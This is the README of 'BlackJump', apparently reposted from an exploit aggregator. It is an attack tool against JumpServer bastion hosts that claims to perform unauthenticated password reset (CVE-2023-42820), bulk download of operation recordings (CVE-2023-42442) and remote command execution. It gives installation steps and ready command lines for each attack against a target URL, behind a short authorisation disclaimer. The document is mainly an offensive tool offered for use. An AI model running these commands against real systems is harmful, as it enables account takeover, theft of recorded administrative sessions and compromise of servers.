Exploit for Improper Authentication in Fit2Cloud Jumpserver

## https://sploitus.com/exploit?id=2676ECDF-B63C-532E-82BA-E17F69F98C8F
## BlackJump

[Chinese](https://github.com/tarimoe/blackjump/) | [English](https://github.com/tarimoe/blackjump/blob/main/README_en.md)

> Disclaimer: This tool is intended only for lawful enterprise security operations. When using this tool for testing, ensure that your actions comply with local laws and regulations, and that you have obtained sufficient authorization. Do not use it on unauthorized targets. > 
> If you engage in any illegal activities while using this tool, you will bear the consequences yourself. We will not assume any legal or joint liability. JumpServer bastion host comprehensive vulnerability exploitation
- [x] Unauthorized user password reset (CVE-2023-42820)
- [x] Unauthorized one-click download of all operation recordings (CVE-2023-42442)
- [x] Unauthorized command execution vulnerabilities (RCE 2021)

## Installation
```bash
python3 -m pip install -r requirements.txt
```

## Usage Guide
+ CVE-2023-42820: If you know the target’s username and email, you can specify the `--user` and `--email` parameters.
```bash
python3 blackjump.py reset https://vulerability
```
![img.png](img/img.png)

+ CVE-2023-42442: Drop the `.tar` file in the `output/` directory into the [Jumpserver Player](https://github.com/jumpserver/VideoPlayer/releases).
```bash
python3 blackjump.py dump https://vulerability
```
![img_1.png](img/img_1.png)

+ RCE
```shell
python3 blackjump.py rce http(s)://vulerability
```
![img.png](img/img_2.png)

+ Help
```bash
python3 blackjump.py {reset,dump,rce}-h
```

## References
1. https://github.com/Veraxy00/Jumpserver-EXP (RCE 2021 vulnerability; some cases had issues with command execution or asset acquisition)